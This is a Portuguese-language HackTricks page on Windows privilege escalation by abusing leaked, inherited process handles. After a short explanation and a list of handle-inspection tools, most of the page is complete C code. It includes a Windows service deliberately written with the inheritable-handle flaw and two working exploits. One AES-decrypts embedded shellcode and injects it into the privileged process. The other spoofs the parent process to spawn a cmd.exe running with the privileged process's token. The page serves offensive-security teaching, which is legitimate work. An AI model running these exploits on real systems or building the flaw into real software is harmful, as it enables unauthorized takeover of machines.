27 KiB
Exploração de Handle Vazado
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.
Introdução
Handles em um processo permitem acessar diferentes recursos do Windows:
Já houve vários casos de escalada de privilégios em que um processo privilegiado com handles abertos e hereditários executou um processo não privilegiado, dando a ele acesso a todos esses handles.
Por exemplo, imagine que um processo em execução como SYSTEM abre um novo processo (OpenProcess()
) com acesso total. O mesmo processo também cria um novo processo (CreateProcess()
) com baixos privilégios, mas herdando todos os handles abertos do processo principal.
Então, se você tiver acesso total ao processo de baixo privilégio, você pode pegar o handle aberto do processo privilegiado criado com OpenProcess()
e injetar um shellcode.
Handles Interessantes
Processo
Como você leu no exemplo inicial, se um processo não privilegiado herdar um handle de processo de um processo privilegiado com permissões suficientes, ele poderá executar código arbitrário nele.
Neste excelente artigo, você pode ver como explorar qualquer handle de processo que tenha uma das seguintes permissões:
- PROCESS_ALL_ACCESS
- PROCESS_CREATE_PROCESS
- PROCESS_CREATE_THREAD
- PROCESS_DUP_HANDLE
- PROCESS_VM_WRITE
Thread
Semelhante aos handles de processo, se um processo não privilegiado herdar um handle de thread de um processo privilegiado com permissões suficientes, ele poderá executar código arbitrário nele.
Neste excelente artigo, você também pode ver como explorar qualquer handle de thread que tenha uma das seguintes permissões:
- THREAD_ALL_ACCESS
- THREAD_DIRECT_IMPERSONATION
- THREAD_SET_CONTEXT
Handles de Arquivo, Chave e Seção
Se um processo não privilegiado herdar um handle com permissões equivalentes de escrita sobre um arquivo ou registro privilegiado, ele poderá sobrescrever o arquivo/registro (e com muita sorte, escalando privilégios).
Handles de Seção são semelhantes aos handles de arquivo, o nome comum desses tipos de objetos é "File Mapping". Eles são usados para trabalhar com arquivos grandes sem manter o arquivo inteiro na memória. Isso torna a exploração meio "similar" à exploração de um Handle de Arquivo.
Como ver os handles dos processos
Process Hacker
Process Hacker é uma ferramenta que você pode baixar gratuitamente. Possui várias opções incríveis para inspecionar processos e uma delas é a capacidade de ver os handles de cada processo.
Observe que para ver todos os handles de todos os processos, é necessário o SeDebugPrivilege (portanto, você precisa executar o Process Hacker como administrador).
Para ver os handles de um processo, clique com o botão direito no processo e selecione Handles:
Você pode então clicar com o botão direito no handle e verificar as permissões:
Handles do Sysinternals
O binário Handles da Sysinternals também listará os handles por processo no console:
LeakedHandlesFinder
Esta ferramenta permite que você monitore handles vazados e até mesmo exploite-os automaticamente para escalar privilégios.
Metodologia
Agora que você sabe como encontrar os handles dos processos, o que você precisa verificar é se algum processo não privilegiado está tendo acesso a handles privilegiados. Nesse caso, o usuário do processo poderia ser capaz de obter o handle e abusá-lo para escalar privilégios.
{% hint style="warning" %} Foi mencionado anteriormente que você precisa do SeDebugPrivilege para acessar todos os handles. Mas um usuário ainda pode acessar os handles de seus processos, então pode ser útil se você quiser escalar privilégios apenas desse usuário para executar as ferramentas com as permissões regulares do usuário.
handle64.exe /a | findstr /r /i "process thread file key pid:"
{% endhint %}
Exemplo Vulnerável
Por exemplo, o seguinte código pertence a um serviço do Windows que estaria vulnerável. O código vulnerável deste binário de serviço está localizado dentro da função Exploit
. Esta função começa criando um novo processo de handle com acesso total. Em seguida, ele cria um processo com baixos privilégios (copiando o token de baixos privilégios do explorer.exe) executando C:\users\username\desktop\client.exe. A vulnerabilidade reside no fato de que está criando o processo com baixos privilégios com bInheritHandles
como TRUE
.
Portanto, este processo de baixos privilégios é capaz de obter o handle do processo de alto privilégio criado primeiro e injetar e executar um shellcode (consulte a próxima seção).
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
Exemplo de Exploração 1
{% hint style="info" %} Em um cenário real, você provavelmente não será capaz de controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente você irá comprometer um processo e precisará verificar se pode acessar algum handle vulnerável de algum processo privilegiado. {% endhint %}
Neste exemplo, você pode encontrar o código de um possível exploit para C:\users\username\desktop\client.exe.
A parte mais interessante deste código está localizada em GetVulnProcHandle
. Esta função irá começar a buscar todos os handles, em seguida, irá verificar se algum deles pertence ao mesmo PID e se o handle pertence a um processo. Se todos esses requisitos forem atendidos (um handle de processo aberto acessível é encontrado), ele tentará injetar e executar um shellcode abusando do handle do processo.
A injeção do shellcode é feita dentro da função Inject
e simplesmente escreverá o shellcode dentro do processo privilegiado e criará uma thread dentro do mesmo processo para executar o shellcode.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("My PID: %d\n", GetCurrentProcessId());
getchar();
// find a leaked handle to a process
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();
return 0;
}
Exemplo de Exploração
{% hint style="info" %} Em um cenário real, você provavelmente não será capaz de controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente você irá comprometer um processo e precisará verificar se pode acessar algum handle vulnerável de algum processo privilegiado. {% endhint %}
Neste exemplo, em vez de abusar do handle aberto para injetar e executar um shellcode, será utilizado o token do processo com handle aberto privilegiado para criar um novo. Isso é feito nas linhas de 138 a 148.
Observe como a função UpdateProcThreadAttribute
é usada com o atributo PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
e o handle para o processo privilegiado aberto. Isso significa que o thread do processo criado executando _cmd.exe** terá o mesmo privilégio de token que o processo com handle aberto**.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
Sleep(20000);
return 0;
}
Outras ferramentas e exemplos
Esta ferramenta permite monitorar handles vazados para encontrar vulneráveis e até mesmo explorá-los automaticamente. Também possui uma ferramenta para vazar um handle.
Outra ferramenta para vazar um handle e explorá-lo.
Referências
- http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/
- https://github.com/lab52io/LeakedHandlesFinder
- https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.